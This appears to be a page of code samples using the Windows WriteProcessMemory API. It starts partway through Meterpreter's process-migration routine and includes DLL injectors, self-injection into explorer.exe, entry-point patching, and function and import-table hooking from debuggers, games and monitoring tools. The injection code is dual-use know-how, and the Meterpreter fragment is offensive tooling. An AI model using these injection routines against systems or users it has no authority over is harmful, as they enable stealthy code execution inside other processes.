		}

		// Initialize the data and code base in the target process
		codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);

		if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
		{
			result = GetLastError();
			break;
		}

		// Send a successful response to let them know that we've pretty much
		// successfully migrated and are reaching the point of no return
		packet_transmit_response(result, remote, response);
		
		// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
		// Shut down our SSL session
		// ssl_close_notify(&remote->ssl);
		// ssl_free(&remote->ssl);


		response = NULL;

		// Create the thread in the remote process
		if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
		{
			result = GetLastError();
			ExitThread(result);
		}

		// Wait at most 5 seconds for the event to be set letting us know that
		// it's finished
		if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
		{
			result = GetLastError();
			ExitThread(result);
		}
		

		// Exit the current process now that we've migrated to another one
		dprintf("Shutting down the Meterpreter thread...");
		ExitThread(0);

	} while (0);

	// If we failed and have not sent the response, do so now
	if (result != ERROR_SUCCESS && response)
		packet_transmit_response(result, remote, response);

	// Cleanup
	if (process)
		CloseHandle(process);
	if (thread)
		CloseHandle(thread);
	if (event)
		CloseHandle(event);

	return ERROR_SUCCESS;
}
Beispiel #24
0
static RVOID
    injectIntoProcess
    (

    )
{
    RNCHAR strSeDebug[] = _NC( "SeDebugPrivilege" );
    processLibProcEntry* procIds = NULL;
    processLibProcEntry* tmpProcId = NULL;
    rSequence targetProc = NULL;
    RU32 targetPid = 0;
    RPWCHAR procName = NULL;
    RWCHAR targetProcName[] = _WCH( "EXPLORER.EXE" );

    HANDLE hProc = NULL;
    RU32 selfSize = 0;

    RPVOID remoteDest = NULL;

    SIZE_T payloadSize = 0;
    RPU8 payloadBuff = NULL;
    
    rpal_debug_info( "getting debug privilege to inject..." );
    if( !Get_Privilege( strSeDebug ) )
    {
        rpal_debug_error( "could not get debug privilege, are we running as admin?" );
        return;
    }

    rpal_debug_info( "getting process list to find explorer.exe" );
    procIds = processLib_getProcessEntries( FALSE );
    tmpProcId = procIds;
    while( NULL != tmpProcId )
    {
        if( NULL != ( targetProc = processLib_getProcessInfo( tmpProcId->pid, NULL ) ) )
        {
            if( rSequence_getSTRINGN( targetProc, RP_TAGS_FILE_PATH, &procName ) )
            {
                rpal_string_toupper( procName );
                if( NULL != rpal_string_strstr( procName, targetProcName ) )
                {
                    rpal_debug_info( "found the target process: %d", tmpProcId->pid );
                    targetPid = tmpProcId->pid;
                }
                else
                {
                    rpal_debug_info( "not target process, next..." );
                }
            }
            else
            {
                rpal_debug_warning( "process without file path, odd..." );
            }

            rSequence_free( targetProc );
            targetProc = NULL;

            if( 0 != targetPid )
            {
                break;
            }
        }

        tmpProcId++;
    }

    rpal_memory_free( procIds );

    if( 0 != targetPid )
    {
        rpal_debug_info( "getting size of self..." );
        if( (RU32)(-1) != ( selfSize = rpal_file_getSize( g_self_path, FALSE ) ) )
        {
            rpal_debug_info( "opening target process with right privileges..." );
            if( NULL != ( hProc = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid ) ) )
            {
                rpal_debug_info( "allocating required memory in remote process..." );
                if( NULL != ( remoteDest = VirtualAllocEx( hProc, NULL, selfSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) )
                {
                    rpal_debug_info( "reading payload to memory before writing it to remote." );
                    if( rpal_file_read( g_self_path, (RPVOID*)&payloadBuff, (RU32*)&payloadSize, FALSE ) )
                    {
                        rpal_debug_info( "writing payload to remote process." );
                        if( WriteProcessMemory( hProc, remoteDest, payloadBuff, payloadSize, &payloadSize ) &&
                            payloadSize == selfSize )
                        {
                            rpal_debug_info( "successfully written payload to remote process. This should look like an injected PE although no thread was started." );
                        }
                        else
                        {
                            rpal_debug_error( "error writing payload to remote process." );
                        }

                        rpal_memory_free( payloadBuff );
                    }
                    else
                    {
                        rpal_debug_error( "error reading ourselves as payload." );
                    }
                }
                else
                {
                    rpal_debug_error( "error allocating memory in remote process." );
                }

                CloseHandle( hProc );
            }
            else
            {
                rpal_debug_error( "error opening process with VM privilges." );
            }
        }
        else
        {
            rpal_debug_error( "error getting size of self." );
        }
    }
}
Beispiel #25
0
/// <summary>
/// Write virtual memory
/// </summary>
/// <param name="lpBaseAddress">Memory address</param>
/// <param name="lpBuffer">Buffer to write</param>
/// <param name="nSize">Number of bytes to read</param>
/// <param name="lpBytes">Mumber of bytes read</param>
/// <returns>Status code</returns>
NTSTATUS Native::WriteProcessMemoryT( ptr_t lpBaseAddress, LPCVOID lpBuffer, size_t nSize, DWORD64 *lpBytes /*= nullptr */ )
{
    SetLastNtStatus( STATUS_SUCCESS );
    WriteProcessMemory( _hProcess, reinterpret_cast<LPVOID>(lpBaseAddress), lpBuffer, nSize, reinterpret_cast<SIZE_T*>(lpBytes) );
    return LastNtStatus();
}
Beispiel #26
0
static void hookfunc(uintptr_t address, uintptr_t hookAddress, sint32 stacksize)
{
    sint32 i = 0;
    uint8 data[HOOK_BYTE_COUNT] = {};

    uintptr_t registerAddress = (uintptr_t) &gHookRegisters;

    data[i++] = 0x89; // mov [gHookRegisters], eax
    data[i++] = (0b000 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress);
    i += 4;

    data[i++] = 0x89; // mov [gHookRegisters + 4], ebx
    data[i++] = (0b011 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 4);
    i += 4;

    data[i++] = 0x89; // mov [gHookRegisters + 8], ecx
    data[i++] = (0b001 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 8);
    i += 4;

    data[i++] = 0x89; // mov [gHookRegisters + 12], edx
    data[i++] = (0b010 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 12);
    i += 4;

    data[i++] = 0x89; // mov [gHookRegisters + 16], esi
    data[i++] = (0b110 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 16);
    i += 4;

    data[i++] = 0x89; // mov [gHookRegisters + 20], edi
    data[i++] = (0b111 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 20);
    i += 4;

    data[i++] = 0x89; // mov [gHookRegisters + 24], ebp
    data[i++] = (0b101 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 24);
    i += 4;

    // work out distance to nearest 0xC
    // (esp - numargs * 4) & 0xC
    // move to align - 4
    // save that amount

    // push the registers to be on the stack to access as arguments
    data[i++] = 0x68; // push gHookRegisters
    write_address_strictalias(&data[i], registerAddress);
    i += 4;

    data[i++] = 0xE8; // call

    write_address_strictalias(&data[i], hookAddress - address - i - 4);
    i += 4;


    data[i++] = 0x83; // add esp, 4
    data[i++] = 0xC4;
    data[i++] = 0x04;

    data[i++] = 0x25; // and eax,0xff
    data[i++] = 0xff;
    data[i++] = 0x00;
    data[i++] = 0x00;
    data[i++] = 0x00;
    data[i++] = 0xc1; // shl eax, 8
    data[i++] = 0xe0;
    data[i++] = 0x08;
    data[i++] = 0x9e; // sahf
    data[i++] = 0x9c; // pushf

    data[i++] = 0x8B; // mov eax, [gHookRegisters]
    data[i++] = (0b000 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress);
    i += 4;

    data[i++] = 0x8B; // mov ebx, [gHookRegisters + 4]
    data[i++] = (0b011 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 4);
    i += 4;

    data[i++] = 0x8B; // mov ecx, [gHookRegisters + 8]
    data[i++] = (0b001 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 8);
    i += 4;

    data[i++] = 0x8B; // mov edx, [gHookRegisters + 12]
    data[i++] = (0b010 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 12);
    i += 4;

    data[i++] = 0x8B; // mov esi, [gHookRegisters + 16]
    data[i++] = (0b110 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 16);
    i += 4;

    data[i++] = 0x8B; // mov edi, [gHookRegisters + 20]
    data[i++] = (0b111 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 20);
    i += 4;

    data[i++] = 0x8B; // mov ebp, [gHookRegisters + 24]
    data[i++] = (0b101 << 3) | 0b101;
    write_address_strictalias(&data[i], registerAddress + 24);
    i += 4;

    data[i++] = 0x9d; // popf

    data[i++] = 0xC3; // retn

#ifdef _WIN32
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)address, data, i, 0);
#else
    // We own the pages with PROT_WRITE | PROT_EXEC, we can simply just memcpy the data
    memcpy((void *)address, data, i);
#endif // _WIN32
}
Beispiel #27
0
int WINAPI WinMain(      
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow
)
{
	SECURITY_ATTRIBUTES sa;
	sa.bInheritHandle = true;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;

	if (!IsWow64())
		return 1;

	if (!CString(lpCmdLine).IsEmpty())
		pidToAttach = atoi(lpCmdLine);

	HMODULE hKernel32 = LoadLibrary("KERNEL32.DLL");
	pfnLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, ("LoadLibraryA"));

	char *pDataRemote = 0;

	DWORD numBytes = 0;
	HANDLE fledgeProcess = NULL;

	int numTries = 30;

	while (numTries)
	{
		EnumWindows(FindFledge, pidToAttach);
		if (fledgeWindow != NULL)
			break;
		Sleep(1000);
		numTries--;
	}

	if (fledgeWindow == NULL)
	return 1;

	GetWindowThreadProcessId(fledgeWindow, &pidToAttach);

	fledgeProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pidToAttach);

	CStringA curDir;
	GetCurrentDirectoryA(MAX_PATH, curDir.GetBuffer(MAX_PATH + 1));
	CString param = curDir.GetBuffer();
	param.Append("\\");
	param.Append(HOOK_DLLNAME);

	pDataRemote = (char*) VirtualAllocEx(fledgeProcess, 0, param.GetAllocLength(), MEM_COMMIT, PAGE_READWRITE);
	if (pDataRemote == NULL)
		return 1;
	if (!WriteProcessMemory(fledgeProcess, pDataRemote, param.GetBuffer(), param.GetAllocLength(), &numBytes))
		return 1;

	DWORD threadID;
	HANDLE fledgeThread = CreateRemoteThread(fledgeProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pfnLoadLibrary, pDataRemote, 0, &threadID);

	CStringA eventName;
	eventName.Format("%s%d", "Global\\FledgeHook", pidToAttach);

	HANDLE hEvent = CreateEventA(NULL, false, false, eventName);

	WaitForSingleObject(hEvent, INFINITE);

	DWORD WM_FLEDGEHOOKDATA = RegisterWindowMessageA("FledgeHookDataEvent");

	PostThreadMessageA(threadID, WM_FLEDGEHOOKDATA, 0, (LPARAM)fledgeWindow);

	curDir.ReleaseBuffer();
	param.ReleaseBuffer();

	CloseHandle(fledgeProcess);

	return 0;
}
Beispiel #28
0
static int w32dbg_write_at(RIOW32Dbg *dbg, const ut8 *buf, int len, ut64 addr) {
	SIZE_T ret;
	return 0 != WriteProcessMemory (dbg->pi.hProcess, (void *)(size_t)addr, buf, len, &ret)? len: 0;
}
Beispiel #29
0
int main(int argc,char **argv)
{
	parseArgs(argc, argv);

	SIZE_T bW = 0, bR = 0;
	char *exeInput = (char *)malloc(MAX_PATH);
	char *dllInput = (char *)malloc(MAX_PATH);
	char *wdrInput = (char *)malloc(MAX_PATH);

	memset(exeInput,0,MAX_PATH);
	memset(dllInput,0,MAX_PATH);
	memset(wdrInput,0,MAX_PATH);

	if (opMode == OPMODE_LIST)
	{
		listProcesses(stringToMatch);
		return 0;
	}
	else if(opMode == OPMODE_INJECT)
	{
		if (globalDll == NULL)
		{
			printf(" [dll] > ");
			fgets(dllInput,MAX_PATH,stdin);
		}
		else
		{
			strcpy(dllInput,globalDll);
		}
		injectIntoProcess(globalInject,dllInput);
		return 0;
	}

	if (globalTest)
	{
		strcpy(exeInput,"test.exe");
		strcpy(dllInput,"shackle.dll");
		strcpy(wdrInput,"c:\\projects\\elegurawolfe\\");
	}
	else if(globalExeName == NULL || globalWorkingDirectory == NULL || globalDll == NULL)
	{
		// printf("* SOMETHING MISSING %08x%08x%08x\n", (unsigned long )globalExeName, (unsigned long )globalWorkingDirectory, (unsigned long )globalDll);
		printf(" [exe] > ");
		fgets(exeInput,MAX_PATH,stdin);
		if (globalDll == NULL)
		{
			printf(" [dll] > ");
			fgets(dllInput,MAX_PATH,stdin);
		}
		else
		{
			strcpy(dllInput,globalDll);
		}
		printf(" [wdr] > ");
		fgets(wdrInput,MAX_PATH,stdin);

		chomp(exeInput);
		chomp(dllInput);
		chomp(wdrInput);
	}
	else
	{
		strcpy(exeInput,globalExeName);
		strcpy(dllInput,globalDll);
		strcpy(wdrInput,globalWorkingDirectory);
	}

	if (exists(exeInput) == 0)
	{
		printf(" [FAIL-EXE] %s does not exist\n",exeInput);
		return 0;
	}

	if(exists(dllInput) == 0)
	{
		printf(" [FAIL-DLL] %s does not exist\n",dllInput);
		return 0;
	}

	PROCESS_INFORMATION pi;
	STARTUPINFO si;

	memset (&pi,0,sizeof(PROCESS_INFORMATION));
	memset (&si, 0, sizeof (STARTUPINFO));
	si.cb = sizeof(si);

	HANDLE hNtDll = LoadLibrary("ntdll.dll");
	NtQueryInformationProcess = (_NtQueryInformationProcess )(GetProcAddress( (HMODULE )hNtDll, "NtQueryInformationProcess"));
	HANDLE hKernel = LoadLibrary("kernel32.dll");
	LPVOID addrLoadLibrary = GetProcAddress( (HMODULE )hKernel, "LoadLibraryA");

	BOOL derp = CreateProcess(exeInput, exeInput, NULL, NULL, FALSE, CREATE_SUSPENDED + CREATE_NEW_CONSOLE, NULL, wdrInput, &si, &pi);
	if (derp == NULL)
	{
		char *errorMessage;
		FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER +
                     FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError (), 0,
                     (char *) &errorMessage, 1, NULL);
		printf (" [FAIL] %s", errorMessage);
		return 0;
	}

	HANDLE hProcess = pi.hProcess;
	HANDLE hThread = pi.hThread;

	globalPid = pi.dwProcessId;
	printf(" * [INFO] new process id is %d\n",pi.dwProcessId);

	#if ARCHI == 64
		BOOL wow64 = FALSE;
		IsWow64Process(hProcess,&wow64);

		if (wow64 == TRUE)
		{
			IsDll64Bit(globalDll);
			printf(" [WARN] injecting into wow64 ");
		}
	#endif

	printf(" [INFO] process handle is %08x\n",(unsigned long )hProcess);

	PROCESS_BASIC_INFORMATION pib;
	PEB_ARCHI globalPEB;

	NtQueryInformationProcess (hProcess, 0, (PVOID )(&pib), sizeof (pib),& bW);
	printf(" [INFO] pib.PebBaseAddress = 0x%p (size of field is %d)\n", pib.PebBaseAddress, sizeof(pib.PebBaseAddress));

	ReadProcessMemory (hProcess, pib.PebBaseAddress, &globalPEB, sizeof (globalPEB), &bR);
	if (bR != sizeof (globalPEB))
    {
		char *errorMessage;
		FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER +
                     FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError (), 0,
                     (char *) &errorMessage, 1, NULL);
		printf (" [FAIL] %s", errorMessage);
		return 0;
    }

	printf(" [INFO] peb.ImageBaseAddress = %p\n", (void *)(globalPEB.ImageBaseAddress));

	UINT_PTR entryPoint = guessExecutableEntryPoint (hProcess, globalPEB.ImageBaseAddress);
	printf(" [INFO] entryPoint = 0x%8x\n", entryPoint);

	char oldEntryChars[2];
	DWORD oldProtect = 0;
	DWORD discardProtect = 0;

	VirtualProtectEx(hProcess,(LPVOID )entryPoint,1, PAGE_READWRITE, &oldProtect);
	ReadProcessMemory(hProcess,(LPCVOID )entryPoint,(char *)oldEntryChars,2,&bR);
	printf(" [INFO] old entry is %02x %02x\n", (unsigned char )oldEntryChars[0],(unsigned char )oldEntryChars[1]);
	printf(" [INFO] writing...\n");

	WriteProcessMemory(hProcess,(LPVOID )entryPoint,"\xEB\xFE",2,&bW);
	VirtualProtectEx(hProcess,(LPVOID )entryPoint,1,oldProtect,&discardProtect);

	char newEntryChars[2];

	ReadProcessMemory(hProcess,(LPCVOID )entryPoint,(char *)newEntryChars,2,&bR);
	if (newEntryChars[0] == '\xEB' && newEntryChars[1] == '\xFE')
	{
		printf(" [INFO] new entry is %02x %02x\n", (unsigned char )newEntryChars[0],(unsigned char )newEntryChars[1]);
	}
	else
	{
		printf(" [INFO] new entry is %02x %02x, something's wrong\n", (unsigned char )newEntryChars[0],(unsigned char )newEntryChars[1]);
		return 0;
	}
	
	CONTEXT context;
	context.ContextFlags = CONTEXT_FULL;

	GetThreadContext (hThread, &context);
	context.PC_REG = entryPoint;
	SetThreadContext(hThread,&context);
	ResumeThread(pi.hThread);

	LPVOID remoteMemory = VirtualAllocEx(hProcess,NULL,strlen(dllInput) + 1,MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE);
	WriteProcessMemory(hProcess,(LPVOID )remoteMemory,dllInput,strlen(dllInput) + 1,&bW);

	printf(" [INFO] trying to create a remote thread at %08x\n",(unsigned long )addrLoadLibrary);

	char *dllOutput = (char *)malloc(MAX_PATH);
	memset(dllOutput,0,MAX_PATH);
	ReadProcessMemory(hProcess,(LPCVOID )remoteMemory,dllOutput,MAX_PATH,&bR);
	printf(" [INFO] confirming process has cave with \"%s\"\n",dllOutput);
	free(dllOutput);

	if(globalWait)
	{
		printf(" [WAIT] press any key to create remote thread...\n");
		getc(stdin);
	}

	HANDLE threadId = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE )addrLoadLibrary,remoteMemory,NULL,NULL);
	if (threadId == NULL)
	{
		printf(" [INFO] could not create remote thread\n");
		return 0;
	}
	else
	{
		WaitForSingleObject(threadId, INFINITE);   //this waits untill thread thread has finished
		// VirtualFree(remoteMemory, 0, MEM_RELEASE); //free myFunc memory
		CloseHandle(threadId);
		// CloseHandle(hProcess);
	 }

	int i = globalCooldown;
	for (; i > 0; i--)
	{
		printf(" [INFO] waiting %d seconds\n",i);
		Sleep(1000);
	}

	printf(" [INFO] restoring entrypoint...\n");
	SuspendThread(pi.hThread);

	VirtualProtectEx(hProcess,(LPVOID )entryPoint,1, PAGE_READWRITE, &oldProtect);
	i = WriteProcessMemory(hProcess,(LPVOID )entryPoint,(char *)&oldEntryChars,2,&bW);
	if (i == 0)
	{
		char *errorMessage;
		FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER +
                     FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError (), 0,
                     (char *) &errorMessage, 1, NULL);
		printf (" [FAIL] %s", errorMessage);
		return 0;
	}
	ReadProcessMemory(hProcess,(LPCVOID )entryPoint,(char *)newEntryChars,2,&bR);
	VirtualProtectEx(hProcess,(LPVOID )entryPoint,1, oldProtect, &discardProtect);
	printf(" [INFO] entry restored to %02x %02x\n", (unsigned char )newEntryChars[0],(unsigned char )newEntryChars[1]);
	GetThreadContext (hThread, &context);
	context.PC_REG = entryPoint;
	SetThreadContext(hThread,&context);
	ResumeThread(pi.hThread);
	
	printf(" [INFO] bye!");
	free(exeInput);
	free(dllInput);
	free(wdrInput);

	return 0;
}
PRBool 
DHWImportHooker::PatchOneModule(HMODULE aModule, const char* name)
{
    if(aModule == mIgnoreModule)
    {
        return PR_TRUE;
    }

    // do the fun stuff...

    PIMAGE_IMPORT_DESCRIPTOR desc;
    uint32 size;

    desc = (PIMAGE_IMPORT_DESCRIPTOR) 
        dhwImageDirectoryEntryToData(aModule, PR_TRUE, 
                                     IMAGE_DIRECTORY_ENTRY_IMPORT, &size);

    if(!desc)
    {
        return PR_TRUE;
    }

    for(; desc->Name; desc++)
    {
        const char* entryModuleName = (const char*)
            ((char*)aModule + desc->Name);
        if(!lstrcmpi(entryModuleName, mModuleName))
            break;
    }

    if(!desc->Name)
    {
        return PR_TRUE;
    }

    PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)
        ((char*) aModule + desc->FirstThunk);

    for(; thunk->u1.Function; thunk++)
    {
        PROC original;
        PROC replacement;
        
        if(mHooking)
        {
            original = mOriginal;
            replacement = mHook;  
        } 
        else
        {
            original = mHook;  
            replacement = mOriginal;
        }   

        PROC* ppfn = (PROC*) &thunk->u1.Function;
        if(*ppfn == original)
        {
            DWORD dwDummy;
            VirtualProtect(ppfn, sizeof(ppfn), PAGE_EXECUTE_READWRITE, &dwDummy);
            BOOL result = WriteProcessMemory(GetCurrentProcess(), 
                               ppfn, &replacement, sizeof(replacement), nsnull);
            if (!result) //failure
            {
              printf("failure name %s  func %x\n",name,*ppfn);
              DWORD error = GetLastError();
              return PR_TRUE;
            }
            else
            {
              // printf("success name %s  func %x\n",name,*ppfn);
              DWORD filler = result+1;
              return result;
            }
        }

    }
    return PR_TRUE;
}